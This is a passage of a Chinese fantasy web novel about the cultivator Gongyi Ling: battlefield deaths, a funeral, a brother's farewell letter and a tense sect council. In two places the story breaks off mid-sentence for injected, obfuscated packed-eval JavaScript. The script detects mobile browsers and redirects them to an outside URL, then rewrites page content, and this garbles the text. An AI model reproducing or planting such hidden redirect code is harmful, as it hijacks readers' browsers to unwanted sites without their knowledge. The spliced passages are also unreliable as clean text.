公仪岭惊声大喊,飞到她旁边检查她的伤势,只是他的手刚搭上脉,心中就是一片冰凉。 灵力四散,肝胆俱裂,便是神仙也难救了。 纪银灵灵识恍惚之间,听到了有人在喊她的名字。 她费力地睁开眼,以为是故人归来,却只看见身旁覆了半张银箔面具的侧脸。 那人面露慌张,似乎想要找灵药给她吃,然而哪怕他找出了丹药,也已经无力回天,她口中汩汩地涌血,根本吞不了丹药了。 那枚丹药滚落在地上,公仪岭心中一紧,凝视着她那一张一合似乎想说什么的嘴唇,于是附耳去听。 “可惜,我怕是没有机会教你弹琴了……” 闻言,公仪岭浑身一震,难以置信地看着纪银灵,脑中空白片刻后,才面色苍白地重新唤她的名字:“纪银灵?” 没有等到回答,她只喃喃说完这一句,便再也支撑不住,合上了眼睛。 公仪岭颤抖着再次覆上她的脉搏,可是他却什么也摸不到了,就连她的身子也渐渐冷了下去。 138.火焚身祭旗 舍魂起杀阵(六) 然而此时,天空骤变成了暗紫色,整个魔界都开始地动山摇起来,半空中蓦然出现不计其数的魂魄和妖邪,朝着广场上众人汹涌而来。 “你做了什么?!” 公仪岭霍然起身,拿着彻云剑的双手微微颤抖。 尹景轩的生命在流逝,魔气和法力在半空中四散。他再次呕出一口血,睁着一双赤红的眼睛,笑得无比狰狞:“没做什么……我也不过是把自己的命和御魔幡连结起来了而已。我若是死了,便会放出全部的妖魔傀儡,让你们给我陪葬!” 他话音刚落,公仪岭剑光闪过,便直接将他的头颅砍了下来。接口处顿时喷出大量血液,渗入了公仪岭的红色衣角,尹景轩的脑袋在殿顶上滚了几圈后,不动了。 公仪岭冷眼看着他那死不瞑目的模样,重新在纪银灵身旁蹲下,替她擦干净了脸上的血污。 眼下最要紧的是下去处理这些妖邪,公仪岭凝视了片刻纪银灵的尸身,叹息过后,还是决定先将她安置在这里,打算等下面的妖邪都消灭完,再将她交给六弦阁的弟子。 妖魔肆虐,须臾间占领了整片广场。 公仪岭原先在上面与尹景轩缠斗,根本没有注意到下面的情况,现在一回身就看见满地的仙僚尸身,粗略地看了一眼他们剩余的战斗力和妖魔的数量,顿时觉得不妙。 先前的战斗就已经折损了他们不少弟子,又在大殿前拖延了这么久。现在尹景轩将所有的妖魔鬼怪放出来,原本持平的形势立刻逆转,局势不容乐观。 他们六大宗门之中,死伤最为惨重的是青花谷的人。 公仪岭在殿顶便看见孟妙意的那条青色巨蟒将人环绕在其中,而孟妙意怀中还躺了一个生死不知的人,看身形,竟然有些像是孟正初的样子。 他不敢细思,匆忙从玄霄殿顶落下,重新加入了战斗。 哪怕抱元门的众弟子已经起了不少阵法,但想要长久维持,必然得耗费上不少灵力,从战斗开始到现在已经过了很久,现在他们的状态都已经不是很好,只有两位长老依旧还在坚持。 公仪岭扫了一圈,才意识到哪里不对。 司月吟呢? 他放眼望去,周围都是一团乱战,根本分不清人在何处,他能看见的所有抱元门的弟子中,竟然没有看见司月吟的身影,一颗心顿时揪起。 他挥剑斩灭周身的魂魄和傀儡,死死抓着旁边一个弟子厉声追问:“司月吟呢?有没有看见司月吟?!” 这弟子早已力竭,听到公仪岭的叫喊声缓缓摇了摇头,便支撑不住屈下了身。 他一连问了五六个弟子,竟然无一人见过司月吟! 公仪岭率先看见的是齐元白。 他的符篆在空中十分明显,也十分好找,公仪岭眼中燃起希望,朝着齐元白符箓的方向一路拼杀,用尽全力来到了他身边。 齐元白的状态并没有好到哪里去,广场上这么多妖孽,他尚能保全自身已经实属不易,身上难免多了很多伤痕,脚边还躺着众多太微山的弟子的尸身,应该是为了护他平安战死的。 “岚兄!” 齐元白猛然见到傀儡堆中杀出一人,待看清来人后,心中一喜,立刻唤了他一声。 公仪岭替他斩灭了后方傀儡,急声追问道:“齐兄,有没有看见司月吟?!” 齐元白一愣:“并未看见。” “怎么会没看见?怎么会?”他喃喃自语,心中不安更甚。 齐元白见他失神担心,忽然想起了什么,忙补充道:“我记得承悦一直守在她旁边,怎么承悦也没看见吗?” 公仪岭听他这话也想起来了,在他离开前的确嘱咐过承悦照看好司月吟,他匆忙想在人堆中寻找承悦的身影,还没找到,衣袖却被齐元白给拉住了。 公仪岭怔愣了一下,不解问道:“齐兄,你这是……” 他许久都没听到齐元白说话,心中疑惑更甚,回过头却见齐元白满目震撼地望向了天空。 齐元白哑声道:“来不及了,岚兄。” 公仪岭还没完全理解他口中的意思,可眼中却分明看见天边赫然出现了一道强烈的流光,随后四面八方又是几道巨大的光柱,接二连三的朝着天际直冲过去,在那妖异的紫色天空中汇聚成了一个巨大的阵法。 这熟悉的场景,这熟悉的布阵手法,是昆吾轮无疑! “以天地为阵,以身为眼,舍魂祭阵……”齐元白呆愣在原地,口中喃喃自语,“这是抱元门的禁术杀阵……” 公仪岭脑中嗡地一声,瞬间变得一片空白。 怎么会?怎么会? 他脚下踉跄了两步,身子摇摇欲坠,根本站不稳。 齐元白心中悲悯,一边以符箓护体,一边伸手将公仪岭扶住。 “不……不会的……不会是她!” 这接二连三的打击令公仪岭几乎疯了。 司月吟以身祭阵,他该如何与大哥交代?他竟然连公仪岚所珍视之人都无法护住……他怎么对得起他?! 众人尚沉浸在震惊之中,只听到广场中央传来一声悲痛至极的凄声惨叫。 哪怕是齐元白,也险些没能拉住公仪岭,心中惊诧之余,不得不以全力应对旁边的魂魄傀儡,护他周全。 公仪岭满脸泪痕,嘶声道:“别拦我!让我去阻止她啊!她怎么能、她怎么能……她怎么可以!” 齐元白从未见过这样的公仪岚,想到他这些时日经历的一切,不由也心痛地闭上了眼,艰难道:“岚兄!已经无法阻止了……这阵法,已经成了!” 哪怕公仪岭再如何不愿相信,现在悬浮在半空中,手执昆吾轮,全身被灵力包围的那黄衣女子,无疑是司月吟。 而她手中法诀完成了最后一个动作后,天空中顿时金光大绽,几乎驱散了天空中的那些暗紫色的乌云,光芒朝着玄霄殿广场照射下来。 阵起! 公仪岭只觉得眼前光芒闪过,灼烈地几乎要把他们的眼睛刺瞎,他下意识闭上了眼,耳畔妖邪厉鬼的惨叫声不绝于耳,等他再度睁开眼的时候,整片广场的妖邪几乎都被清了个干净,仅有几个在杀阵中活下来的修为高强的妖物,也被旁边弟子一剑了结。 而中央那悬空的女子,也终于支撑不住,从空中落了下来。 公仪岭踉跄着步伐朝那边飞奔过去,路两边的人一看是他,也都纷纷让出了一条路,面上神情无一不是悲痛。 哪怕他们大多数人与司月吟并没有太多交集,但也知道她用自己一命换了其他所有人性命的此举,是如此英勇而决绝。 公仪岭终于赶在司月吟落在地上前,将她接了下来。 众人十分自觉地往后退开,给两人留出了一些空间道别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099656|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 司月吟耗尽了自己的全部修为和灵力,此时已经气若游丝。 她开口,声音低得几乎听不到:“阿岭。” “大嫂,你先、你先别说话……有办法的,一定有办法的……” 公仪岭惊慌失措,颤着手想要把自己的灵力渡给她,可司月吟却艰难地抬起一只手,阻止了他的动作。 “没用的,阿岭……” 她咳着血,轻声道:“献祭魂魄,以身为阵,一旦阵起再无转圜余地……” 听到她的话,公仪岭涌出泪水,哭得浑身颤抖,嘶哑着声音道:“你这样决绝,我如何对得起大哥……我怎么对得起他……是我没用,是我护不住你们啊!” 司月吟睁大眼凝视着公仪岭的面容,她抬手,似乎想要触碰到公仪岭的脸上的银箔面具。 公仪岭垂下头,巨大的痛苦逼得他几乎喘不过气,见司月吟力竭,犹豫了片刻,还是将她的手带到了面具上。 她又咳出了一口血,勉强露出微笑:“你们真的很像啊,阿岭。” “还能这样让我再见他一面,我便是死也瞑目了……” 公仪岭流着泪,哽咽道:“你之前还答应我的,说等半年以后,再商议取消婚事……你怎么就、怎么就……” 司月吟垂下了手,强撑着气力,从怀中取出一封信笺。 “阿岭,这是阿岚留给我的信,你看过以后便明白了……” 暗红的封面,祥云的纹样,上面写的字是公仪岚亲笔无疑。 公仪岭不知公仪岚还留有信笺,难耐悲痛地接过了信函。 司月吟看着他接过信函,心中便再无牵挂,安然地合上了眼睛。 可是哪怕公仪岭心中再痛楚,当着这么多仙僚的面,却也只能唤她一句“月吟”。 善承长叹了一声,终于还是走上了前。 “月吟乃是为了大义牺牲,公仪宗主,还是莫要太过悲痛。” 公仪岭眼神空洞,沉默了许久,才缓缓说了一句:“月吟尚未与我解除婚约,便还是云灵山未来的宗主夫人,她的尸身,理应葬在云灵山中。” 玄微长老皱眉道:“月吟既然还未与你成婚,她便还是抱元门的弟子,葬在云灵山,于礼不合。” 礼数? 公仪岭在心中冷然一笑。 任谁都看得出来司月吟在抱元门中尴尬的处境,就连她的亲生父母都只是把她当作联姻的工具嫁了出去,葬在抱元门,她当真愿意吗? 善承并未直接否认了他的请求,轻轻抬手打住了玄微的话。 他低声道:“公仪岚,这一纸婚约毕竟未能作数。” 公仪岭垂眸道:“但婚约已定,我早已认定月吟为妻,还请长老允准,让她在云灵山下葬。” 旁边的弟子也不忍看见这一幕,纷纷出言道:“善承长老,公仪宗主与司姑娘两情相悦,又有婚约,便遂了他的意吧……” 善承并未回应旁边弟子的话,沉默片刻后,注视着公仪岭道:“公仪宗主,你若是执意要求月吟在云灵山下葬,她必然是以你公仪岚宗主夫人的名分下葬。” “我知。” 玄微闻言,神情微变,顿了顿道:“此后你再不可另娶他人,你可愿意?” 公仪岭凝视着两位长老,一字一句道:“公仪岚,此生仅有司月吟一位妻子。” 139.故人既已逝 旧事再重提(一) 玄霄殿决战结束了。 仙门各家这几日都在各自处理着战死弟子的身后事,玄霄殿那边余下的傀儡被清剿了个干净,在众人的商议下,暂且扶持了尹鸿宣当个没有实权的魔尊。 众仙门的弟子们都在庆幸着劫后余生,只是,那些宗主们心头却还压着一个没敢公布出去的念头。 那就是,清剿玄霄殿后,紫阳宗宗主带人搜遍了整个魔界,也未能找到御魔幡的下落。 公仪岭知道各家还在继续暗自搜寻,只是他无心也无力再去折腾这些事情,带着司月吟的尸身回到了云灵山中。 下葬的事宜是承悦全权准备的,公仪岭将自己关在书房中,摩挲着司月吟临死前交给他的信笺,站在窗边从日出犹豫到日落,最后借着夕阳落下的光,还是拆开了信函。 这封信,他用了上好的宣纸,上面写的字依旧端正清雅,赏心悦目。 信首写着八个字:“吾妻月吟,见字如晤。” 公仪岭呼吸微滞,继续往下看了下去。 吾妻月吟,见字如晤: 当你见此信时,我应当已经离开了。不要为我悲伤,也请原谅我的决而不告。 爹娘临行前让我照顾好岭弟,我知其虽素来行径荒散,但他心地纯良,绝不会做出背叛仙门之事。我虽信岭弟为人所陷,却遍寻证据不得,无以明其清白。 我恨自己无能,也恨自己不能保护想保护之人。三化会审已终,尘埃落定,我唯能做的,仅此罢了。 岭弟修为高强,能够继云灵山宗主,我甚心安。思来想去,我放心不下的,惟你一人。如今时局动荡,仙魔交战实为不可免,我亦忧心你的安危,虽然你我尚未成婚,但于我而言,你是我唯一的妻。只是,我知今生已无缘,若有来世,愿你我能成为真正的夫妻。 我曾对承悦说,月吟乃仙家贵女,风姿绰约、惊才绝艳,与她相见的第一眼,我就已钟情于她。月吟,我期与子同尘,愿与子偕老,然而天意难测,命不可违。是我有愧于你,无法应允我的承诺,守你终生。 你曾道,最喜爱饮抱元门的茶,我就在云灵山后山亲手植了你所爱的茶叶,待来年春时,记得让承悦为你续上一盏,于我埋骨之地再与我共饮一杯。 月吟,往后日子里,望珍重自身。 若另有良人,也望你能放下我罢。 公仪岚 公仪岭看完了最后一个字,深吸了一口气,眼眶发涩。 纸上深深浅浅,大概是司月吟读信之时落下的泪迹。 他勉强扶住窗框,一步一步回到了椅子上坐下。 眼睛一旦闭上,回忆便汹涌而来。 他想起那日司月吟坐在公仪岚的桌案前,似乎在看着什么文书,见他起身后,微不可查地擦去了眼角的泪。 他想起那日陪齐元白和纪银灵吊唁之时,远处后山那一大片跟自己的记忆有出入的地方,如今想来,应该就是公仪岚不知何时种下的茶叶。 整整一晚,他都僵硬着身子没能睡着,耳边仿若传来远处灵雀的轻啼,风声呜咽,不知是在为谁悲鸣,也不知是在为何人祭奠。 * 卯时,天刚刚亮。 公仪岭一夜未眠,却也不觉得疲累,瞧见时辰到了后,便起身熄了安神香,点起了屋内的灯。 这几日各家都在清点着伤亡人数,故而将战后复盘的事情推迟到了几日后,留出了给所有宗门医治和安葬弟子的时间。 公仪岭洗漱穿戴完没多久,就听到有人外面叩了门:“岚兄,是我。” 是公仪承悦的声音,这个时辰,一般都是他把文书送过来。 公仪岭道:“进来吧。” 承悦如往常一样带着文书进来,放到了他的桌案上。 一沓暗红封面的折子中,最上面摆着的竟然是一封紫阳宗的信函,十分显眼。 公仪岭瞥了一眼最上面的紫锦信函,见上面盖着的是燕渊的宗主印,顺口问道:“紫阳宗递帖子是有何事?” 承悦如实回答:“两日后,燕宗主召集各家在紫阳宗战后议事。” 公仪岭展开信函看完了上面的寥寥几行,叹了口气:“看样子,御魔幡依然下落不明啊。” 承悦低声道:“岚兄,依我看,现在御魔幡失踪,未尝不是一件好事。” 公仪岭心念一动,抬眼道:“哦?你想到什么了?” 承悦道:“尹景轩已死,尹鸿宣又是个一问三不知的人,由此可见,御魔幡必然是被第三人取走,我想,兴许此人就是全部事情的幕后主谋,紫阳宗不可能想不到这一层,届时,自然会开始怀疑从前阿岭被污蔑的那些事情。” 公仪岭低下头沉思片刻,又看了一眼燕渊在信中试探的话语,觉得承悦他说得有道理。 在三化会审前,所有的事情都发生得太快了,快到他们根本无时间去查证九宫青狻猊到底是怎么死的,宣安城人皮傀儡的事情又是谁透露给玄霄殿的。 还有中秋宴上,玄霄殿又是如何从这么多人眼皮子底下,劫走了燕婉…… 承悦见他思索,便继续道:“若是他们对此也起了疑心,我们想要证明阿岭的清白,便方便多了,阿岭他,总不能就这样不明不白地被人害死了。” 是啊,大哥总不能这样不明不白地死了。 公仪岭紧紧握住拳头,沉声道:“阿岭的事情,我定然会查个水落石出。只是这幕后之人,心思深沉,手段狠厉,此前竟没留下一点线索。” 承悦顿了顿,以为他是因为悲伤过度而忘记了事情。 他轻声提醒道:“岚兄,你我当日在宣安城中,并非没有查到一点线索,若非有人从中作梗,或许阿岭也不会……” 闻言,公仪岭眸色微暗。 大哥带着人在那七日四处寻找证据的事情他是知道的,只是他并不知道他们有没有找到线索,这才想从承悦口中套一套话。 想不到,那七日之中,果然被他们在宣安城找到了线索。 公仪岭不动声色道:“所以,承悦,在紫阳殿议事完后,我还需要去一次宣安城。” 承悦犹豫道:“岚兄,再去一次宣安城未尝不可,只是我担心你去了的话会暴 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而这张没写完的纸被草草夹在其中,大哥定然是看完信笺以后,没心思继续写,便匆忙回去了。 “宣安城……霁月茶楼……醉春风……” 公仪岭望着纸上所写的内容,喃喃自语。 看样子,无论如何,他也该再亲自去一趟宣安城了。 他重新将书房内的文书收拾了一番,没过多久,便进来了一名仙侍对他道:“宗主,时辰到了,该前去送一送夫人了。” 公仪岭回过神来,想起承悦的安排,今晨是要安排司月吟入土,将她的灵位设于祠堂的。 他应道:“知道了,我现在过去。” 云灵殿内早已布置好了灵堂,司月吟的尸身便安置于此,等公仪岭前来便可安排下葬。 在众人眼中,公仪岚还好端端活着,司月吟是没办法与真正的公仪岚合葬的,便只能暂且单独下葬,与“公仪岭”的坟头还隔了些距离。 大殿内外都挂满了白幡,公仪岭来到云灵正殿,望着中央的那副冰棺,棺中女子的容颜依旧清丽如故,只是多了几分苍白。 仙家的冰棺大多都有令逝者容颜永驻的功效,可保逝者尸身不腐。公仪岭出神地想,如果大哥并非死于火焚,至少还能保全他的肉身,能让他再看上一眼也好。 只可惜没有如果。 腰间彻云剑似乎也察觉到了什么,剑身竟开始嗡鸣,轻声震动起来。 公仪岭身形一滞,右手覆到了彻云剑上,心中悲凉。 彻云剑上还尚有公仪岚的部分灵力,想必也是感觉到了司月吟逝世,才会如此。 终究是他对不住他们两人。 承悦也察觉到了彻云剑的响动,迟疑问道:“岚兄,彻云剑这是……” 公仪岭垂眸看了一眼彻云,它只是嗡鸣了片刻就恢复了正常,于是自然道:“无妨,你们先退下吧,我还有话想对月吟说。” 承悦十分理解,给众弟子们使了个眼色,领着众人暂时退了下去。 140.故人既已逝 旧事再重提(二) 所有人都撤下了,整个云灵殿内只剩下了他与司月吟两人。 公仪岭凝视着冰棺内沉睡不醒的人,低声道:“大嫂,请愿让你葬于云灵山此事,没能提前征求你的意见,是我一意孤行,望你原谅我的擅作主张。” 他将怀中的信函妥帖地放入了司月吟的冰棺之中。 这封信,是公仪岚写给她的,他看过以后,自然是需要交还给她的。 公仪岭轻叹道:“你交予我的信函,我已然看过了,明白你缘何会做出这样的决定。” “我将你葬在云灵山中,又以宗主夫人的名位将你的灵位立于云灵山祠堂,的确是我私心,想替大哥名正言顺地将你留在此地,希望……你莫要怪我。” “我知道大哥他钟情于你,他在信中虽说希望你另有良人后能放下他,但我明白,若是真的在天上看见你另觅良人,心中定然是会难过的,不管如何,我也希望在你们逝世后,婚约还能够作数。” “后山他种下的茶叶,我会悉心照料,等开春之时,定会为你们亲手斟茶,与你们共饮一杯。” 后面他要说的内容,公仪岭多少还是有些犹豫,但他沉默了片刻,还是继续往下说了。 “大嫂,两日后,我便要去紫阳殿中与他们共同议事了。你放心,我定然会寻出真相,揪出幕后主使之人。你不必担心我,我心中有分寸,能护好自身,只是需得暂且委屈你几日,待到水落石出,我定会让你与大哥合葬一处,再不受分离之苦。” 公仪岭说完这些,在冰棺旁静默地守了她许久。 直到承悦在外面出言请示,说是时辰到了需得前去后山下葬冰棺,公仪岭这才缓缓起了身,把他们重新唤进来。 相比起公仪岚以公仪岭的名头草草举办的葬礼,司月吟的葬礼排面便好上了许多。 并非是公仪岭草率对待,而是那几日各家都紧盯着云灵山的动向,一旦他表露出想要厚葬罪犯的念头,无数唾骂声便如雪花般飞入山中。 所有人都清楚一个事实。 原先按照商量的处决内容,公仪岭在焚身祭旗以后,是应该挫骨扬灰,根本不配再办什么葬礼,也是不配将他置入云灵山祠堂的。 然而在他们看来,在那场大雨过后,是公仪岚不顾旁人劝阻,以极其强硬的手段将骨灰带回了云灵山,若不是他们极力阻止,公仪岚甚至还想将公仪岭的灵位放入祠堂之中。 最后双方各退了一步,允了他把骨灰带回云灵山安葬,至于灵位,自然是不许设下的,此事也就至此了结。 封棺以后,公仪岭又在墓地停留了许久。 这一次大战,云灵山折损的弟子数量并不多。公仪岭在他们的碑前全都洒上了烈酒,与每个人说了一会儿话后,才折回了书房中。 他望着满桌的文书和卷宗,深深叹了口气。 至此,他清楚地意识到,往后的路,真的只能靠他一人走了。 公仪岭是最早抵达紫阳殿的。 他穿着云灵山的宗主服饰,又有承悦和几个年长的弟子跟在身后,这一次,守在外面的紫阳宗弟子,总算没将他拦下了。 这两个弟子公仪岭看着面生,并不是上一次他遇到的那两名弟子。 他将拜帖交给面前的弟子查看后,便顺口问道:“这一次怎是你们两人守着,从前守门的两位弟子呢?” 那两位弟子将拜帖交还给他,低声道:“两位师兄战死了,日后此地都是我们两人看守。” 闻言,公仪岭心中五味杂陈,不知该作何回答,默了默,只能轻声道了一句:“节哀。” 紫阳宗两位弟子十分恭敬的对他道:“公仪宗主,请吧。” 跟着带路的仙侍,再次来到紫阳殿外的广场,心境却已然不同了。 公仪岭不着痕迹地垂眸看了眼地上的汉白玉地砖,之前渗入的血迹已然消失不见,想必是燕蓉他们已经处理好了。 而道路两旁依旧竖满了紫阳宗的宗门旗帜,被风吹得猎猎作响,所有的一切仿佛如旧,从未改变。 但人终究还是不同了。 公仪岭侧目,旁边与他共同入殿的是青花谷新上任的宗主,孟妙意。 他没记错的话,孟妙意比他尚且还要小两岁,故而她的模样并未有太大的变化,还是从前的娇俏少女的样子,只是眉目间不知为何,比从前多了几分深沉和凝重。 这些时日,公仪岭在云灵山也收到了许多关于其他宗门的消息,知道青花谷孟家将孟正初带回去以后,哪怕全力救治,也没把人给救回来,孟妙意这才不得不挑起两位哥哥的担子。 因为公仪岚生前与孟妙意没有过多的交集,公仪岭主动与她攀谈并不合适,于是两人也仅仅只是互道了一声安好,便进了紫阳殿中。 这一次的战后集议,大概是因为事关重大,故而大半的仙门宗主都到了场,每个人脸上神情都十分肃穆。 令公仪岭意外的是,抱元门这次来得并非是两位长老,而是一名看着脸生的弟子,这会儿正自如地喝着茶水。 公仪岭略微思索后,便回忆起来承悦之前说过,抱元门两位长老在弟子中择了宗主继位,这位弟子名唤作司沛白,是司永丰从前的一个直系弟子。 而另一个他比较关心的是六弦阁那边,位子上端坐的那弟子,公仪岭瞧着挺眼熟,只不过没想起来这人叫什么,便问了承悦一嘴:“承悦,六弦阁那边新上任的宗主,名唤什么?” 承悦附耳对他道:“此人名唤纪北。” 听这名字,公仪岭猛然想起,这人他是在迷雾林梦境中见过的,是从前经常好心给纪银灵做饭的一位师兄,心中也就稍安了。 想必纪银灵泉下有知,也能放心了。 玄霄殿大战之时,燕渊有燕蓉和燕煦泽两个人护着,自是没受太重的伤,只不过这几日追查御魔幡下落的事情还是让他心力交瘁,眼底也隐隐能看见淤青,这会儿正闭着眼,按着太阳穴休息。 大殿旁的沙漏时钟已经落完,燕蓉瞥了一眼,知道时辰已到,站起身扫了一眼堂下众人,对燕渊道:“宗主,各家宗主都已经到齐了。” 燕渊缓缓睁开眼睛,在正座上挺直了腰板。 他轻咳了一声,正色道:“今日召诸位前来,为的正是御魔幡下落不明之事。” 说起这事,底下众宗主的面色都不大好的样子。 公仪岭略略看了一圈,这些人大多都是此前被他打过一顿的人,顿时了然。 这些人大多都是跟紫阳宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125523|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条心的,燕渊说什么便是什么,想必搜寻御魔幡的事情,就是燕渊交代了他们共同去找的。 一名宗主起身道:“燕宗主,我等竭尽全力在魔族搜寻了四五日,又严加拷打了尹鸿宣,也未能寻到御魔幡,我看,定然是趁着乱战,有人取走了。” 公仪岭心中愕然,他离开前见过尹鸿宣一面,却没想到他前脚刚走,后脚这小子就被结结实实挨了一顿毒打,当真是可怜。 不过,现在仙门几家商议过后,决议共同看管玄霄殿,让尹鸿宣当个傀儡魔尊的话,兴许能平稳地过完一生,对他而言,也是好事一桩。 “是啊,燕宗主,此事确实蹊跷……” “但是之前仙门叛徒公仪岭已经被处置,按理说,御魔幡不该再次失踪,莫非,他还有同谋活着?” 公仪岭还未开口,他旁边的承悦就已经冷声说道:“林宗主此言差矣,如今这样的情况,说是因为先前众仙家并未找到真正的仙门叛徒,才更为合理吧?” 那位林宗主听完承悦的话,颇为不满:“公仪岭偷盗阵法图,是仙门叛徒的事情早已板上钉钉、尘埃落定,云灵山既然没有找到证据能证明他的清白,那现在又怎能说是我们没找到真正的叛徒呢?” “没错,公仪岭认识的人不少,说不准真有同谋,只是没被我们查到而已。” “如此看来,他的心计当真是深沉地可怕……” 承悦突然笑了一声,他的笑声在这安静的大殿上格外明显,落在旁人耳中,也格外刺耳。 林宗主皱眉道:“紫阳殿议事,是何等严肃的场合,你又是因何故发笑?” 承悦笑完,面色依旧从容镇定,一字一句道:“我只是觉得可笑,你们当初仅凭那尹景轩的一面之词,便认定了我师兄有罪,原来竟是宁可相信他们这些奸邪之人的话语,也不愿相信我们的证词。” “尹景轩与你们无冤无仇,又为何要诬陷他?他本就没这个动机。” 承悦道:“我师兄一剑重伤他,这也叫做无冤无仇?他只是想随意编个理由让你们借刀杀人,除去心头大患。我看你们今日刻意说有同谋一事,只是心中惶恐,生怕自己是杀错了人,不敢担责任罢了!” 承悦说完,那些宗主脸上一阵青白,却是说不出一句话了。 只因他说得句句在理,将他们所有人心里那点担忧全部清清楚楚地讲了出来,摆到了明面上。 但哪怕他说得句句在理,哪怕他们真担心自己杀错了人,事已至此,他们也是不可能承认的。 当时会审,叫得最厉害的可是如今的燕宗主,若是承认了,岂非打了燕渊的脸? 他们只是小宗门,断然不敢与紫阳宗为敌。 “三化会审审得清楚明白,何来错杀一说……” “说什么这么久了也没找到证据,做出这样的事情,就是该找不到证据才对,有证据才怪了……” 承悦冷冷扫了一眼那些人,见他们越说声音越小,决然道:“我们早晚会找到证据,你们到时候别不认账就是,倒是不知道残害同门性命,误信奸邪这一条,届时又该如何判?” 大殿上一片寂静,谁也没再出声,最后还是公仪岭叹了口气,低声道:“承悦,你先坐下吧。” 141.故人既已逝 旧事再重提(三) 承悦自然是听他的话,一言不发地坐下了。 燕渊的脸色也不好看,但现在大战结束,此战,公仪岚又是斩了尹景轩的功臣,他断然不能再借公仪岭的事情去刁难云灵山,再坏了两家情谊,也只能想办法给他们一个台阶下。 他咬牙道:“此次毕竟主要是商议搜寻御魔幡之事,从前的事情,暂且不提。” 公仪岭喝了口茶,淡然道:“身死之后,孰是孰非,盖棺定论。阿岭是否偷盗阵法图一事,尚无证据,不提也罢。不过,我还有两桩事放心不下,故而特意过来请教燕宗主一番,不知时至今日,可否给我解答?” 燕渊的表情微变,心中有了个隐约的猜测,问道:“公仪宗主所说,不知是哪两桩事情?” 公仪岭搁下茶杯,直视他道:“其一,不知紫阳宗此前允诺的,大战完后彻查九宫青狻猊意外死亡之事,可有进展?” 燕渊镇定道:“公仪宗主,你也知道,当时无定涯在场的有上千人,实在无法一个个叫来盘查,目前我们能查到的,也便是九宫青狻猊是死于剧毒,至于这个毒是何时下的,当时青狻猊打斗完后,毒便沿着全身血液飞速流走,无法界定具体时辰。” 公仪岭对他的回答并不感到意外。 全紫阳宗上下,且不说燕渊是草包一个,其他人中最为靠谱的也就仅有燕蓉一人,她若是在此事的调查上有什么进展,定然是会通知云灵山的。 公仪岭露出一个淡笑,继续道:“其二,当日中秋夜宴,燕婉姑娘失踪后,紫阳宗几乎是第一时间布下结界,在宗门中搜寻了几日,却不想还是让魔族得了手,我倒是好奇,这尹景轩究竟是有何手眼通天的本事,能在紫阳宗悄无声息地带走燕婉姑娘?” 燕渊皱眉道:“中秋夜宴上人也不在少数,何况当时每家都关在院中设了结界,自然是没可能助他们劫走阿姐,当时商议得出的结论,也是玄霄殿的人偷走了拜帖,这才将人带了出去。” 公仪岭深深地看着他,勾唇道:“燕宗主,你可知我并非这个意思。” 燕渊道:“公仪宗主,有话不妨直说?” “这两桩事情,有一个共同点,便是趁着人多、势乱而为,在我看来,倒像是出自同一人之手。依照你们的意思,我便姑且认定为有同谋,那么,我想请问燕宗主,如若这同谋本就是紫阳宗的人,说起来是否更为合理一些呢?” 燕渊眼皮一跳,思虑片刻后道:“事关重大,这同谋是否是紫阳宗的人,需得一个个查过去。” 听他这么说,公仪岭就点头道:“燕宗主有此心便是好的,望你最近多多留意门中弟子是否异常。玄霄殿既已处置,那此人现在孤身一人,再如何也不可能掀出什么浪花来,一旦各方城池内有什么异动的话,想必很快就能发现,将他捉拿。” “公仪宗主所言极是。” 齐元白见此事谈得差不多了,便问道:“除了搜寻御魔幡的事情,燕宗主可还有其他事?” “这个嘛,自然是有。”燕渊点头,“大胜玄霄殿后,众仙家还未办庆功宴,恰逢年关将至,你们觉得挪到何时办?” 公仪岭心中并不赞成办这些,毕竟众宗门内都折损了不少弟子,如今丧期未过,便大办庆功宴,在他看来并不合适。 抱元门新上任的那位宗主司沛白,大概是还惦记着自家的师姐刚亡故,却也不好拂了燕渊的面子,就道:“燕宗主,既然年关将至,我看不如将庆功宴与上元佳节的宴席并作一块,一来,省得再大操大办一次,二来,上元节的时候,弟子们的丧期也过了,此时庆贺更为合适。” 有人与他想法一致,公仪岭自然欣然应和了一声:“燕宗主,我觉得这个办法不错。” 他们两家都出声了,其余的宗门便也没了旁的意见,此事就这样定了下来。 算算时日,距离上元佳节也不过二十多日了。 即便是他叫承悦对外说自己闭关,但过年还是要在山中过的,何况山中事务也不能堆积太久,这样来看的话,他在宣安城也只能停留五日的时间。 紫阳殿集议结束,回到云灵山后,公仪岭与承悦叮嘱了一番,便悄然下了山。 * 再次来到宣安城,虽然城中风水看起来依然不好,但好在因为快过年的原因,远远望去,城中张灯结彩,热闹得很。 公仪岭行走在城中街道,回绝了旁边小贩想让他买东西的热情,脑中回忆着大哥在纸上写的内容,打算按照顺序一个个找过去。 他顺手将小贩递过来的东西归还了回去,打算告辞离开。 这小贩手中拿着公仪岭递还回来的走马灯,愣愣地望着公仪岭的半张脸,忽然出声道:“这位公子,我此前似乎见过你?” 公仪岭脚步微顿,回过身来。 这次他下山并未穿云灵山的服饰,而是随意找了件不起眼的白衣穿上,若是有人仔细看,还能瞧见他衣服内露出的丧服,如此打扮,在城中并不显眼。 公仪岭追问道:“你何时见过我?” 小贩细细地打量了他一番,才肯定道:“就是一个月前,那时候你还穿的是红衣服呢,在城中呆了好几日,沿路问了不少摊贩,似乎是问从前傀儡的事情。” 是公仪岚。 